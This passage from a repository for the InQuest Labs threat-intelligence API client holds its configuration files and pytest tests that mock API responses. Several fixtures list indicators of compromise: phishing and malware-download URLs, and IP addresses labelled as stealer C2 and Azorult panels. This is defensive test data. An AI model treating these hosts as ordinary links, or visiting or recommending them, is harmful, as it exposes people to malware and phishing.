├── tests
├── __init__.py
├── conftest.py
├── test_dfi_sources.py
├── test_iocdb_sources.py
├── test_repdb_sources.py
├── test_yara_hexcase.py
├── test_yara_uint.py
├── test_iocdb_search.py
├── test_repdb_list.py
├── test_dfi_list.py
├── test_iocdb_list.py
├── test_repdb_search.py
├── test_dfi_download.py
├── test_stats.py
├── test_dfi_upload.py
├── test_yara_b64re.py
├── test_yara_widere.py
├── test_dfi_search.py
├── test_api.py
├── test_dfi_attributes.py
└── test_dfi_details.py
├── requirements-testing.txt
├── .coveragerc
├── CONTRIBUTING.md
├── requirements.txt
├── .github
└── workflows
│ └── workflow.yml
├── pyproject.toml
├── .gitignore
├── README.md
├── LICENSE
└── inquestlabs.py
/tests/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/requirements-testing.txt:
--------------------------------------------------------------------------------
1 | pytest
2 | pytest-mock
3 | coverage
4 | requests-mock
--------------------------------------------------------------------------------
/.coveragerc:
--------------------------------------------------------------------------------
1 | [report]
2 |
3 | exclude_lines =
4 | if __name__ == .__main__.:
5 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | How to Contribute
2 | =================
3 |
4 | Read the [LICENSE](LICENSE). By submitting a pull request, you agree to
5 | release your changes under this license.
6 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | attrs
2 | certifi
3 | charset-normalizer
4 | docopt
5 | idna
6 | iniconfig
7 | packaging
8 | pluggy
9 | py
10 | pyparsing
11 | requests
12 | six
13 | tomli
14 | urllib3
--------------------------------------------------------------------------------
/tests/conftest.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | import sys
3 | import os
4 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
5 | from inquestlabs import inquestlabs_api
6 | import requests_mock
7 | import requests
8 |
9 | @pytest.fixture(scope="module")
10 | def labs():
11 | labs = inquestlabs_api()
12 | return labs
13 |
14 |
15 | @pytest.fixture(scope="module")
16 | def labs_with_key():
17 | labs_api = inquestlabs_api(api_key="mock")
18 | return labs_api
19 |
20 |
--------------------------------------------------------------------------------
/tests/test_dfi_sources.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 |
4 | def test_dfi_sources(labs, mocker):
5 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"])
6 |
7 | dfi_list = labs.dfi_sources()
8 | assert len(dfi_list) > 0
9 |
10 |
11 | def test_dfi_sources_with_key(labs_with_key,mocker):
12 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"])
13 |
14 | dfi_list = labs_with_key.dfi_sources()
15 | assert len(dfi_list) > 0
16 |
--------------------------------------------------------------------------------
/tests/test_iocdb_sources.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 |
4 | def test_iocdb_sources(labs,mocker):
5 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"])
6 |
7 | iocdb_list = labs.iocdb_sources()
8 | assert len(iocdb_list) > 0
9 |
10 |
11 | def test_iocdb_sources_with_key(labs_with_key,mocker):
12 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"])
13 | iocdb_list = labs_with_key.iocdb_sources()
14 | assert len(iocdb_list) > 0
15 |
--------------------------------------------------------------------------------
/tests/test_repdb_sources.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 |
4 | def test_repdb_sources(labs,mocker):
5 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"])
6 |
7 | repdb_sources = labs.repdb_sources()
8 | assert len(repdb_sources) > 0
9 |
10 |
11 | def test_repdb_sources_with_key(labs_with_key,mocker):
12 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"])
13 |
14 | repdb_sources = labs_with_key.repdb_sources()
15 | assert len(repdb_sources) > 0
16 |
--------------------------------------------------------------------------------
/.github/workflows/workflow.yml:
--------------------------------------------------------------------------------
1 | name: tests
2 |
3 | on: [push]
4 |
5 | jobs:
6 | build:
7 | runs-on: ubuntu-20.04
8 | strategy:
9 | matrix:
10 | python-version: ["3.6", "3.7", "3.8", "3.9", "3.10", "3.11"]
11 |
12 | steps:
13 | - uses: actions/checkout@v3
14 | - name: Set up Python ${{ matrix.python-version }}
15 | uses: actions/setup-python@v4
16 | with:
17 | python-version: ${{ matrix.python-version }}
18 | - name: Install dependencies
19 | run: |
20 | pip install -r requirements.txt
21 | pip install -r requirements-testing.txt
22 | - name: Test scripts
23 | run: coverage run -m pytest
--------------------------------------------------------------------------------
/tests/test_yara_hexcase.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 |
4 | @pytest.fixture
5 | def mock_input():
6 | return "pedram"
7 |
8 |
9 | @pytest.fixture
10 | def mock_response():
11 | return "[57]0[46]5[46]4[57]2[46]1[46]d"
12 |
13 |
14 | def test_valid_hexcase(labs, mock_input, mock_response, mocker):
15 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response)
16 | response = labs.yara_hexcase(mock_input)
17 | assert mock_response in response
18 |
19 |
20 | def test_valid_hexcase_with_key(labs_with_key, mock_input, mock_response, mocker):
21 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response)
22 | response = labs_with_key.yara_hexcase(mock_input)
23 | assert mock_response in response
24 |
--------------------------------------------------------------------------------
/tests/test_yara_uint.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 |
4 | @pytest.fixture
5 | def mock_uint_response():
6 | return "/* trigger = 'deadbeef' */\n(uint32be(0x0) == 0x64656164 and uint32be(0x4) == 0x62656566)"
7 |
8 |
9 | @pytest.fixture
10 | def mock_input():
11 | return "deadbeef"
12 |
13 |
14 | def test_uint_valid(labs, mock_uint_response, mock_input, mocker):
15 | mocker.patch("inquestlabs.inquestlabs_api.API",
16 | return_value=mock_uint_response)
17 | response = labs.yara_uint(mock_input)
18 | assert mock_uint_response in response
19 |
20 |
21 | def test_uint_valid_with_key(labs_with_key, mock_uint_response, mock_input, mocker):
22 | mocker.patch("inquestlabs.inquestlabs_api.API",
23 | return_value=mock_uint_response)
24 | response = labs_with_key.yara_uint(mock_input)
25 | assert mock_uint_response in response
26 |
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [build-system]
2 | requires = ["hatchling", "wheel"]
3 | build-backend = "hatchling.build"
4 |
5 | [project]
6 | name = "inquestlabs"
7 | version = "1.2.4"
8 | license = {file = "LICENSE"}
9 | authors = [
10 | { name="InQuest", email="labs@inquest.net" },
11 | ]
12 | description = "A Pythonic interface and CLI tool for the InQuest Labs API"
13 | readme = "README.md"
14 | requires-python = ">=3.6"
15 |
16 | dependencies = [
17 | "attrs",
18 | "certifi",
19 | "charset-normalizer",
20 | "docopt",
21 | "idna",
22 | "iniconfig",
23 | "packaging",
24 | "pluggy",
25 | "py",
26 | "pyparsing",
27 | "requests",
28 | "six",
29 | "tomli",
30 | "urllib3",
31 | ]
32 |
33 | classifiers = [
34 | "Programming Language :: Python :: 3",
35 | "License :: OSI Approved :: GNU General Public License v2 (GPLv2)",
36 | "Operating System :: OS Independent",
37 | ]
38 |
39 | [project.scripts]
40 | inquestlabs = "inquestlabs:main"
41 |
42 | [project.urls]
43 | "Homepage" = "https://labs.inquest.net/"
44 | "Repository" = "https://github.com/InQuest/python-inquestlabs"
45 | "Bug Tracker" = "https://github.com/InQuest/python-inquestlabs/issues"
46 |
--------------------------------------------------------------------------------
/tests/test_iocdb_search.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 |
4 | @pytest.fixture
5 | def mock_list():
6 | return [{'artifact': 'worldwardmobi.com', 'artifact_type': 'domain', 'created_date': 'Thu, 07 Nov 2019 00:29:05 GMT', 'reference_link': 'https://twitter.com/IpNigh/status/1192232066064244736', 'reference_text': '#Phishing | #PhishKit | #PhishingKit Found and downloaded.\nURL:hxxps://worldwardmobi.com/icon/USAA/USAA/USAA\nThreat… https://twitter.com/i/w...'}, {'artifact': 'http://worldwardmobi.com/icon/USAA/USAA/USAA', 'artifact_type': 'url', 'created_date': 'Thu, 07 Nov 2019 00:29:05 GMT', 'reference_link': 'https://twitter.com/IpNigh/status/1192232066064244736', 'reference_text': '#Phishing | #PhishKit | #PhishingKit Found and downloaded.\nURL:hxxps://worldwardmobi.com/icon/USAA/USAA/USAA\nThreat… https://twitter.com/i/w...'}]
7 |
8 |
9 | def test_iocdb_search(labs, mock_list, mocker):
10 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_list)
11 | iocdb_list = labs.iocdb_search("worldwardmobi.com")
12 | assert len(iocdb_list) == 2
13 |
14 |
15 | def test_iocdb_search_with_key(labs_with_key, mock_list, mocker):
16 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_list)
17 | iocdb_list = labs_with_key.iocdb_search("worldwardmobi.com")
18 | assert len(iocdb_list) == 2
19 |
--------------------------------------------------------------------------------
/tests/test_repdb_list.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | @pytest.fixture()
4 | def mock_repdb_list():
5 | return [ {'created_date': 'Sat, 16 Nov 2019 14:52:36 GMT',
6 | 'data': 'techablog.com/PayPal-US/LLC/',
7 | 'data_type': 'url',
8 | 'derived': 'techablog.com',
9 | 'derived_type': 'domain',
10 | 'source': 'urlhaus',
11 | 'source_url': 'https://urlhaus.abuse.ch/host/techablog.com'},
12 | {'created_date': 'Sat, 16 Nov 2019 14:52:36 GMT',
13 | 'data': 'techquotes.tk/WIRE-FORM/IMT-368022645396/',
14 | 'data_type': 'url',
15 | 'derived': 'techquotes.tk',
16 | 'derived_type': 'domain',
17 | 'source': 'urlhaus',
18 | 'source_url': 'https://urlhaus.abuse.ch/host/techquotes.tk'},
19 | {'created_date': 'Sat, 16 Nov 2019 14:52:36 GMT',
20 | 'data': 'teplhome.ru/INV/WPD-4262802989/',
21 | 'data_type': 'url',
22 | 'derived': 'teplhome.ru',
23 | 'derived_type': 'domain',
24 | 'source': 'urlhaus',
25 | 'source_url': 'https://urlhaus.abuse.ch/host/teplhome.ru'},
26 | {'created_date': 'Sat, 16 Nov 2019 14:52:36 GMT',
27 | 'data': 'testypolicja.pl//WIRE-FORM/YQW-3280068/',
28 | 'data_type': 'url',
29 | 'derived': 'testypolicja.pl',
30 | 'derived_type': 'domain',
31 | 'source': 'urlhaus',
32 | 'source_url': 'https://urlhaus.abuse.ch/host/testypolicja.pl'}]
33 |
34 | def test_repdb_list(labs, mock_repdb_list,mocker):
35 |
36 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_repdb_list)
37 | repdb_list = labs.repdb_list()
38 | assert len(repdb_list) == len(mock_repdb_list)
39 |
40 |
41 | def test_repdb_list_with_key(labs_with_key, mock_repdb_list,mocker):
42 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_repdb_list)
43 | repdb_list = labs_with_key.repdb_list()
44 | assert len(repdb_list) == len(mock_repdb_list)
45 |
--------------------------------------------------------------------------------
/tests/test_dfi_list.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | @pytest.fixture
4 | def mock_dfi_list():
5 | return [
6 | {'artifact': '149.202.154.164',
7 | 'artifact_type': 'ipaddress',
8 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT',
9 | 'reference_link': 'https://twitter.com/SoulRage6/status/1194165760140201985',
10 | 'reference_text': '#Nikki stealer C2 (probably) at: '
11 | '149.202.154.]164/p/login.php\n'
12 | 'Also #Azorult panel on same IP: '
13 | 'http://149.202.154.]164/azo/index.php'},
14 | {'artifact': 'http://149.202.154.164/azo/index.php',
15 | 'artifact_type': 'url',
16 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT',
17 | 'reference_link': 'https://twitter.com/SoulRage6/status/1194165760140201985',
18 | 'reference_text': 'test'},
19 |
20 | {'artifact': '217.114.181.3',
21 | 'artifact_type': 'ipaddress',
22 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT',
23 | 'reference_link': 'https://twitter.com/sdpcthreatintel/status/1194163105376305153'
24 | ,'reference_text': '217.114.181.3 attempted MYSQL exploitation 1 time(s)' }
25 | ]
26 |
27 | def test_dfi_list(labs,mocker,mock_dfi_list):
28 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_dfi_list)
29 | dfi_list = labs.dfi_list()
30 | assert len(dfi_list) == len(mock_dfi_list)
31 | assert dfi_list[0]['artifact'] =='149.202.154.164'
32 |
33 | def test_dfi_list_with_key(labs_with_key,mocker,mock_dfi_list):
34 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_dfi_list)
35 | dfi_list = labs_with_key.dfi_list()
36 | assert len(dfi_list) == len(mock_dfi_list)
37 | assert dfi_list[0]['artifact'] =='149.202.154.164'
38 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | .vscode/
7 |
8 | # C extensions
9 | *.so
10 |
11 | # Distribution / packaging
12 | .Python
13 | build/
14 | develop-eggs/
15 | dist/
16 | downloads/
17 | eggs/
18 | .eggs/
19 | lib/
20 | lib64/
21 | parts/
22 | sdist/
23 | var/
24 | wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .coverage
44 | .coverage.*
45 | .cache
46 | nosetests.xml
47 | coverage.xml
48 | *.cover
49 | .hypothesis/
50 | .pytest_cache/
51 |
52 | # Translations
53 | *.mo
54 | *.pot
55 |
56 | # Django stuff:
57 | *.log
58 | local_settings.py
59 | db.sqlite3
60 |
61 | # Flask stuff:
62 | instance/
63 | .webassets-cache
64 |
65 | # Scrapy stuff:
66 | .scrapy
67 |
68 | # Sphinx documentation
69 | docs/_build/
70 |
71 | # PyBuilder
72 | target/
73 |
74 | # Jupyter Notebook
75 | .ipynb_checkpoints
76 |
77 | # pyenv
78 | .python-version
79 |
80 | # celery beat schedule file
81 | celerybeat-schedule
82 |
83 | # SageMath parsed files
84 | *.sage.py
85 |
86 | # vscode
87 | .vscode
88 |
89 | # Environments
90 | .env
91 | .venv
92 | env/
93 | venv/
94 | ENV/
95 | env.bak/
96 | venv.bak/
97 |
98 | # Spyder project settings
99 | .spyderproject
100 | .spyproject
101 |
102 | # Rope project settings
103 | .ropeproject
104 |
105 | # mkdocs documentation
106 | /site
107 |
108 | # mypy
109 | .mypy_cache/
110 |
111 | # pipenv
112 | Pipfile.lock
113 |
--------------------------------------------------------------------------------
/tests/test_iocdb_list.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | @pytest.fixture
4 | def mock_iocdb_list():
5 | return [ {'artifact': '149.202.154.164',
6 | 'artifact_type': 'ipaddress',
7 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT',
8 | 'reference_link': 'https://twitter.com/SoulRage6/status/1194165760140201985',
9 | 'reference_text': '#Nikki stealer C2 (probably) at: '
10 | '149.202.154.]164/p/login.php\n'
11 | 'Also #Azorult panel on same IP: '
12 | 'http://149.202.154.]164/azo/index.php'},
13 | {'artifact': 'http://149.202.154.164/azo/index.php',
14 | 'artifact_type': 'url',
15 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT',
16 | 'reference_link': 'https://twitter.com/SoulRage6/status/1194165760140201985',
17 | 'reference_text': '#Nikki stealer C2 (probably) at: '
18 | '149.202.154.]164/p/login.php\n'
19 | 'Also #Azorult panel on same IP: '
20 | 'http://149.202.154.]164/azo/index.php'},
21 | {'artifact': '217.114.181.3',
22 | 'artifact_type': 'ipaddress',
23 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT',
24 | 'reference_link': 'https://twitter.com/sdpcthreatintel/status/1194163105376305153',
25 | 'reference_text': '217.114.181.3 attempted MYSQL exploitation 1 time(s), '
26 | 'DShield attacks: 5, Country: RU'}]
27 |
28 |
29 | def test_iocdb_list(labs,mocker, mock_iocdb_list):
30 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_iocdb_list)
31 | iocdb_list = labs.iocdb_list()
32 | assert len(iocdb_list) == len(mock_iocdb_list)
33 |
34 |
35 | def test_iocdb_list_with_key(labs_with_key, mocker, mock_iocdb_list):
36 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_iocdb_list)
37 | iocdb_list = labs_with_key.iocdb_list()
38 | assert len(iocdb_list) == len(mock_iocdb_list)
39 |
--------------------------------------------------------------------------------
/tests/test_repdb_search.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 |
4 | @pytest.fixture
5 | def mock_list():
6 | return [{'created_date': 'Thu, 07 Nov 2019 00:09:16 GMT', 'data': 'opora-company.ru/O5Go/', 'data_type': 'url', 'derived': 'opora-company.ru', 'derived_type': 'domain', 'source': 'urlhaus', 'source_url': 'https://urlhaus.abuse.ch/host/opora-company.ru'}, {'created_date': 'Thu, 07 Nov 2019 00:09:04 GMT', 'data': '2toporaru.432.com1.ru/2.msi', 'data_type': 'url', 'derived': '2toporaru.432.com1.ru', 'derived_type': 'domain', 'source': 'urlhaus', 'source_url': 'https://urlhaus.abuse.ch/host/2toporaru.432.com1.ru'}, {'created_date': 'Thu, 07 Nov 2019 00:09:04 GMT', 'data': '2toporaru.432.com1.ru/1.msi', 'data_type': 'url', 'derived': '2toporaru.432.com1.ru', 'derived_type': 'domain', 'source': 'urlhaus', 'source_url': 'https://urlhaus.abuse.ch/host/2toporaru.432.com1.ru'}, {'created_date': 'Thu, 07 Nov 2019 00:09:02 GMT', 'data': '2toporaru.432.com1.ru/softcry.msi', 'data_type': 'url', 'derived': '2toporaru.432.com1.ru', 'derived_type': 'domain', 'source': 'urlhaus', 'source_url': 'https://urlhaus.abuse.ch/host/2toporaru.432.com1.ru'}, {'created_date': 'Sun, 27 Oct 2019 22:33:04 GMT', 'data': 'newnationaltradingcoporation.000webhostapp.com', 'data_type': 'url', 'derived': 'newnationaltradingcoporation.000webhostapp.com', 'derived_type': 'domain', 'source': 'threatweb', 'source_url': 'https://www.threatweb.com'}, {'created_date': 'Sun, 23 Jun 2019 13:55:46 GMT', 'data': 'www.dxaudio.com/styled-2/services/coporate.html', 'data_type': 'url', 'derived': 'www.dxaudio.com', 'derived_type': 'domain', 'source': 'threatweb', 'source_url': 'https://www.threatweb.com'}]
7 |
8 |
9 | def test_repdb_search(labs, mock_list, mocker):
10 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_list)
11 | repdb_list = labs.repdb_search("opora")
12 | assert len(repdb_list) == 6
13 |
14 |
15 | def test_repdb_search_with_key(labs_with_key, mock_list, mocker):
16 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_list)
17 | repdb_list = labs_with_key.repdb_search("opora")
18 | assert len(repdb_list) == 6
19 |
--------------------------------------------------------------------------------
/tests/test_dfi_download.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from inquestlabs import inquestlabs_exception
4 | import requests_mock
5 | import requests
6 |
7 | @pytest.fixture
8 | def mock_invalid_doc():
9 | return "test"
10 |
11 | @pytest.fixture
12 | def mock_hash():
13 | return "1e9e3b4aaab8fd2f9775800578e9b0bcc4980c2e615bf0f706e142c63f36e710"
14 |
15 | @pytest.fixture
16 | def mock_hash_data():
17 | return bytearray('mock data inside this hash','utf-8')
18 |
19 | def mock_invalid_hash_response(*args, **kwargs):
20 | with requests_mock.Mocker() as mock_request:
21 | mock_request.get("http://labs_mock.com", json={'error': "Supplied 'sha256' value is not a valid hash.", 'success': False}, status_code=400)
22 | response = requests.get("http://labs_mock.com")
23 | return response
24 |
25 | def test_download_invalid_sha256(labs,mocker):
26 | mocker.patch('requests.request', side_effect=mock_invalid_hash_response)
27 |
28 | with pytest.raises(AssertionError) as excinfo:
29 | labs.dfi_download("mock","fake_path")
30 |
31 | assert "AssertionError" in str(excinfo)
32 |
33 | def test_download_invalid_path(labs, mocker, mock_hash, mock_hash_data):
34 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_hash_data)
35 |
36 | with pytest.raises(inquestlabs_exception) as excinfo:
37 | labs.dfi_download(mock_hash,"/path/does/not/exist")
38 |
39 | assert "failed downloading file" in str(excinfo.value)
40 |
41 |
42 | def test_download_invalid_sha256_with_key(labs_with_key,mocker):
43 | mocker.patch('requests.request', side_effect=mock_invalid_hash_response)
44 |
45 | with pytest.raises(AssertionError) as excinfo:
46 | labs_with_key.dfi_download("mock","fake_path")
47 |
48 | assert "AssertionError" in str(excinfo)
49 |
50 | def test_download_invalid_path_with_key(labs_with_key, mocker, mock_hash, mock_hash_data):
51 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_hash_data)
52 |
53 | with pytest.raises(inquestlabs_exception) as excinfo:
54 | labs_with_key.dfi_download(mock_hash,"/path/does/not/exist")
55 |
56 | assert "failed downloading file" in str(excinfo.value)
57 |
--------------------------------------------------------------------------------
/tests/test_stats.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 |
4 | @pytest.fixture
5 | def mock_stats():
6 | return {'dfidb': {'first_record': '2017-11-15', 'macro_hunter': 492225, 'maldoc_hunter': 117095, 'phish_hunter': 962, 'rtf_hunter': 8347, 'swfdoc_hunter': 1249}, 'dfiiocs': {'domain': 5074406, 'email': 1634109, 'filename': 8721261, 'first_record': '2017-11-15', 'ip': 1856861, 'url': 4077783, 'xmpid': 985797}, 'iocdb': {'domain': 24426, 'first_record': '2019-03-22', 'hash': 22370, 'ipaddress': 21457, 'url': 38528, 'yarasignature': 8508}, 'mime': {'application/cdfv2': 131773, 'application/msword': 151869, 'application/octet-stream': 3872, 'application/vnd.ms-excel': 160930, 'application/vnd.ms-office': 5907, 'application/vnd.ms-outlook': 9017, 'application/vnd.openxmlformats-officedocument.presentationml.presentation': 5144, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet': 99013, 'application/vnd.openxmlformats-officedocument.wordprocessingml.document': 40795, 'application/zip': 5032, 'first_record': '2017-11-15'}, 'mime_high': {'DOC': 198571, 'DOCX': 5032, 'EML': 9017, 'OLE': 131773, 'OTHER': 3872, 'PPT': 5144, 'XLS': 259943, 'first_record': '2017-11-15'}, 'repdb': {'asn_num': 490, 'domain': 395391, 'first_record': '2018-04-01', 'ip': 5286304, 'url': 1299516}, 'repdbsources': {'abuse.ch': 556, 'alienvault': 1084460, 'bambenek': 12198, 'binarydefence': 123845, 'blocklist': 1913435, 'botscout': 69602, 'bruteforceblocker': 19056, 'ciarmy': 887942, 'cleantalk': 93800, 'csirtg': 86620, 'cybercrime-tracker': 2177, 'dataplane': 450594, 'emd': 255406, 'fedotracker': 3930, 'first_record': '2017-07-18', 'greensnow': 210190, 'isc.sans': 20903, 'malcode': 1051, 'malwaredomainlist': 3263, 'myip': 110129, 'openphish': 439857, 'packetmail': 447, 'phishtank': 165546, 'spamhaus': 490, 'sslbl': 604, 'stopforumspam': 15608, 'talos': 23227, 'threatweb': 745488, 'urlhaus': 235026, 'vxvault': 6053, 'zeus': 198}}
7 |
8 |
9 | def test_stats(labs, mock_stats, mocker):
10 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_stats)
11 |
12 | stats = labs.stats()
13 | assert "dfidb" in stats.keys()
14 |
15 |
16 | def test_stats_with_key(labs_with_key, mock_stats, mocker):
17 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_stats)
18 | stats = labs_with_key.stats()
19 | assert "dfidb" in stats.keys()
20 |
--------------------------------------------------------------------------------
/tests/test_dfi_upload.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from inquestlabs import inquestlabs_exception
4 |
5 |
6 | @pytest.fixture
7 | def mock_invalid_doc():
8 | return "test"
9 |
10 |
11 | @pytest.fixture
12 | def mock_valid_doc():
13 | return "[\xD0\xCF]"
14 |
15 |
16 | @pytest.fixture
17 | def mock_valid_response():
18 | return {"success": True}
19 |
20 |
21 | def test_invalid_upload_type(labs, mocker, mock_invalid_doc):
22 | mock_file = mocker.mock_open(read_data=mock_invalid_doc)
23 | mocker.patch("os.path.exists", return_value=True)
24 | mocker.patch("os.path.isfile", return_value=True)
25 | mocker.patch('builtins.open', mock_file)
26 | mocker.patch('inquestlabs.inquestlabs_api.API',
27 | return_value=mock_valid_response)
28 | with pytest.raises(inquestlabs_exception, match=r'unsupported file type for upload'):
29 | labs.dfi_upload("mock")
30 |
31 |
32 | def test_valid_upload_type(labs, mocker, mock_valid_doc, mock_valid_response):
33 | mock_file = mocker.mock_open(read_data=b'PK')
34 | mocker.patch("os.path.exists", return_value=True)
35 | mocker.patch("os.path.isfile", return_value=True)
36 | mocker.patch('builtins.open', mock_file)
37 | mocker.patch('inquestlabs.inquestlabs_api.API',
38 | return_value=mock_valid_response)
39 | response = labs.dfi_upload("mock")
40 | assert response["success"]
41 |
42 |
43 | def test_nonexistant_path(labs, mocker):
44 | mocker.patch("os.path.exists", return_value=False)
45 | with pytest.raises(inquestlabs_exception) as excinfo:
46 | labs.dfi_upload("mock")
47 |
48 | assert "invalid file" in str(excinfo.value)
49 |
50 |
51 | def test_path_is_not_a_file(labs, mocker):
52 | mocker.patch("os.path.isfile", return_value=False)
53 | with pytest.raises(inquestlabs_exception) as excinfo:
54 | labs.dfi_upload("mock")
55 |
56 | assert "invalid file" in str(excinfo.value)
57 |
58 |
59 | def test_invalid_upload_type_with_key(labs_with_key, mocker, mock_invalid_doc):
60 | mock_file = mocker.mock_open(read_data=mock_invalid_doc)
61 | mocker.patch("os.path.exists", return_value=True)
62 | mocker.patch("os.path.isfile", return_value=True)
63 | mocker.patch('builtins.open', mock_file)
64 | mocker.patch('inquestlabs.inquestlabs_api.API',
65 | return_value=mock_valid_response)
66 | with pytest.raises(inquestlabs_exception, match=r'unsupported file type for upload'):
67 | labs_with_key.dfi_upload("mock")
68 |
69 |
70 | def test_valid_upload_type_with_key(labs_with_key, mocker, mock_valid_doc, mock_valid_response):
71 | mock_file = mocker.mock_open(read_data=b'PK')
72 | mocker.patch("os.path.exists", return_value=True)
73 | mocker.patch("os.path.isfile", return_value=True)
74 | mocker.patch('builtins.open', mock_file, create=True)
75 | mocker.patch('inquestlabs.inquestlabs_api.API',
76 | return_value=mock_valid_response)
77 | response = labs_with_key.dfi_upload("mock")
78 |
79 | assert response["success"]
80 |
81 |
82 | def test_nonexistant_path_with_key(labs_with_key, mocker):
83 | mocker.patch("os.path.exists", return_value=False)
84 | with pytest.raises(inquestlabs_exception) as excinfo:
85 | labs_with_key.dfi_upload("mock")
86 | assert "invalid file" in str(excinfo.value)
87 |
88 |
89 | def test_path_is_not_a_file_with_key(labs_with_key, mocker):
90 | mocker.patch("os.path.isfile", return_value=False)
91 | with pytest.raises(inquestlabs_exception) as excinfo:
92 | labs_with_key.dfi_upload("mock")
93 |
94 | assert "invalid file" in str(excinfo.value)
95 |
--------------------------------------------------------------------------------
/tests/test_yara_b64re.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from inquestlabs import inquestlabs_exception
3 |
4 |
5 | @pytest.fixture
6 | def mock_body():
7 | return """([\x2b\x2f-9A-Za-z][3HXn]BlZHJhb([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][159BFJNRVZdhlptx]hbWlua[Q-Za-f]|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW[0-3][\x2b\x2f-9A-Za-z]YW1pbm[k-n]|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhb([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}[2GWm]FtaW5p|cGVkcmFt([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][159BFJNRVZdhlptx]hbWlua[Q-Za-f]|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhb([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}YW1pbm[k-n]|cGVkcmFtYW1pbm[k-n]|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW1hbWlua[Q-Za-f]|cGVkcmFt([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][2GWm]FtaW5p|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhb([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][2GWm]FtaW5p|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}[2GWm]FtaW5p|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhbWFtaW5p|cGVkcmFt([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}[2GWm]FtaW5p|cGVkcmFt([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*